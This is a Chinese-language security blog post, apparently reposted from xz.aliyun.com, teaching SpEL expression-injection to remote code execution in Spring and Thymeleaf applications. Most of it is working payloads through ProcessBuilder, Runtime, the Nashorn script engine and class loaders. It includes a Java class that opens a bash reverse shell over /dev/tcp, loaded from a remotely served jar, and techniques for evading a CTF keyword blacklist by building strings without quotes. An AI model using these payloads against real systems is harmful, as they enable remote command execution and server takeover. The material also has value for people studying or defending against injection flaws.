有趣的SpEL注入
2021-03-08 20:13:03 Author: xz.aliyun.com(查看原文) 阅读量:336 收藏

前言

和大帅逼一起研究了一下SpEL注入RCE分析以及技巧,拿来分享一下,抛砖引玉。

SpEL注入基础

SpEL简介

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

基本用法:

SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值

示例1:不注册新变量的用法

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!

示例2:自定义注册加载变量的用法

public class Spel {
    public String name = "何止";
    public static void main(String[] args) {
        Spel user = new Spel();
        StandardEvaluationContext context=new StandardEvaluationContext();
        context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量

        SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
        Expression expression = parser.parseExpression("#user.name");//解析表达式
        System.out.println( expression.getValue(context).toString() );//取值,输出何止
    }
}

了解了基本用法之后,我们可以通过创建实例,调用方法先构造几个rce的payload

会用到的语法

spel语法中的T()操作符 , T()操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名(),后面会用得到

spel中的#操作符可以用于标记对象

RCE第一部分

第一部分就是最基础的思路 : 新建实例 , 调用命令执行方法

01 : 调用ProcessBuilder

java代码

String[] str = new String[]{"open","/System/Applications/Calculator.app"};
ProcessBuilder p = new ProcessBuilder( str );
p.start();//打开计算器

spel中也可以使用new来构造,写法几乎一样,我们可以把表达式简化为一行

new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()

完整的执行代码

String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()";

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器

当然java.lang包下的类无需使用全限定类名,故表达式可简化来bypass

new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()

02 : 调用RunTime

java调用,由于Runtime类使用了单例模式-饿汉式,需要调用Runtime的静态方法得到Runtime实例

Runtime rt = Runtime.getRuntime();//
rt.exec(new String[]{"open","/System/Applications/Calculator.app"});

和上个用法略有不同解释在payload后给出

使用string参数 (java.lang包下的类不需要加全限定类名)

T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")

字符串数组方法调用

T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})

解释: 由于RunTime类使用了单例模式 ,获取对象的话不能直接通过构造方法获得,必须通过静态方法getRuntime来获得 , 其源码可参考下图 , 调用静态方法的话需要使用SpEL的T()操作符,T()操作符会返回一个object.

03 : 调用ScriptEngine

ruilin师傅的文章学到还可以用js引擎(不知道能不能用颜文字或者其他js绕过的方法到这里,暂时没实验成功,测试成的师傅可以分享下).

获取所有js引擎信息

public static void main(String[] args) {
        ScriptEngineManager manager = new ScriptEngineManager();
        List<ScriptEngineFactory> factories = manager.getEngineFactories();
        for (ScriptEngineFactory factory: factories){
                System.out.printf(
                    "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
                    "Language version: %s%n" +
                    "Extensions: %s%n" +
                    "Mime types: %s%n" +
                    "Names: %s%n",
                    factory.getEngineName(),
                    factory.getEngineVersion(),
                    factory.getLanguageName(),
                    factory.getLanguageVersion(),
                    factory.getExtensions(),
                    factory.getMimeTypes(),
                    factory.getNames()
                );
        }
 }

Name: Oracle Nashorn
Version: 1.8.0_261
Language name: ECMAScript
Language version: ECMA - 262 Edition 5.1
Extensions: [js]
Mime types: [application/javascript, application/ecmascript, text/javascript, text/ecmascript]
Names: [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

通过结果中的Names,我们知道了所有的js引擎名称故getEngineByName的参数可以填[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript],举个例子:

ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval("2+1"));

那么payload也就显而易见

nashorn

new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")

javascript

[[${new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")}]]

OK基础的第一部分到此结束

RCE第二部分

下面开始第二部分 , 思路 : 反射构造RCE ,下面反射中用到的类包括但不限于上述部分

首先简单介绍反射 :

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制

然后简单介绍ClassLoader :

JVM(java虚拟机) 拥有多种ClassLoader, 不同的 ClassLoader 会从不同的地方加载字节码文件, 加载方式可以通过不同的文件目录加载, 也可以从不同的 jar 文件加载,还包括使用网络服务地址来加载。几个重要的 ClassLoader : BootstrapClassLoaderExtensionClassLoaderAppClassLoaderUrlClassLoader

下面构造会用到AppClassLoaderUrlClassLoader

04 : UrlClassLoader

URLClassLoader 可以加载远程类库和本地路径的类库

调用思路 : 远程加载class文件,通过函数调用或者静态代码块来调用

先构造一份Exp.jar , 放到远程vps即可

一份通过构造方法反弹shell的Exp.java实例

public class Exp{
    public Exp(String address){
        address = address.replace(":","/");
        ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
        try {
            p.start();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

起一个http服务示例

http python -m SimpleHTTPServer 8990

Payload

注意必须使用全限定类名 , 或许这个可以过一些bypass

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")

05 : AppClassLoader

AppClassLoader 直接面向用户,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录

由于双亲委派的存在,它可以加载到我们想要的类

使用的前提是获取 , 获取AppClassLoader可以通过ClassLoader类的静态方法getSystemClassLoader

System.out.println(ClassLoader.getSystemClassLoader());

  • 加载Runtime执行

    由于需要调用到静态方法所以还是要用到T()操作

    T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
    
  • 加载ProcessBuilder执行

    [[${T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()}]]
    

06: 通过其他类获取AppClassLoader

这里我新开一个标题原因是在实际的web项目开发者会导入很多依赖的jar,或编写自定义类

实例1:

使用spel的话一定存在名为org.springframework的包,这个包下有许许多多的类,而这些类的classloader就是app

比如:org.springframework.expression.Expression类

System.out.println( org.springframework.expression.Expression.class.getClassLoader() );

那么很容易就可以得到一个获取AppClassLoader的方法 ,

T(org.springframework.expression.Expression).getClass().getClassLoader()

假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:

T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

假设有一个自定义的类那么可以:

T(com.ctf.controller.Demo).getClass().getClassLoader()

类比较多,不过多叙述

07: 通过内置对象加载UrlClassLoader

request、response对象是web项目的常客,也有很多有趣,比如截图所示,这里会有个很有趣的东西,过段时间补出来

ok……第二部分完结,最后来整点bypass

08: Interesting bypass

看到这里会有些累了,这里需要有一些java基础来有选择性的bypass

假设黑名单有如下情况,来源于ddctf :

"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};
  • java.lang被禁用可以不用全限定类名
  • Runtime、Process、javax.script.ScriptEngineManager被杀就得通过第二部分反射了
  • eval、exec啥的也没了
  • org.thymeleaf一类的包都被禁用了就放弃我们06阶段说的前两个
  • 引号也没了,就找找字符串转换函数
  • 不在一一列举

从两个大的方向来谈: 不能有字符串、不可以直接用Runtime等类

不能直接使用类

Runtime等类被禁用我们可以使用06所说的自定义类,

ddctf里拥有几个自定义类safafilter和com.ctf.model.User类啥的,只要通过import来找到全限定类名就好;

还可以使用07所说的内置对象request、response两者也可拿来先加载ClassLoader,再加载想要的类。

不能直接使用字符串

引号被过滤不可以直接使用字符串,这里提供三种构造字符串的方法

1.T(类名).getName()会返回字符串类型的全限定类名

比如:[[${T(String).getName()}]]结果为java.lang.String

然后我们就可以使用角标来构造我们想要的字符串

[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]]
#回显h3zh1

2.使用Character类构造字符串

[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]

3.外部可控字符绕过

通过web请求构造字符串,request有很多方法返回值为String也有String[]用来给getMethod或者getDeclaredMethod的方法定制参数

post方法构造字符串

[[${#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)}]]

get方法构造字符串

[[${#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)}]]

外部的cookie绕过

[[${#request.getRequestedSessionId()}]]

参考 :

Ruilin 由浅入深SpEL表达式注入漏洞 : http://rui0.cn/archives/1043

EL : https://www.runoob.com/jsp/jsp-expression-language.html

SpEL : https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions


文章来源: http://xz.aliyun.com/t/9245
如有侵权请联系:admin#unsafe.sh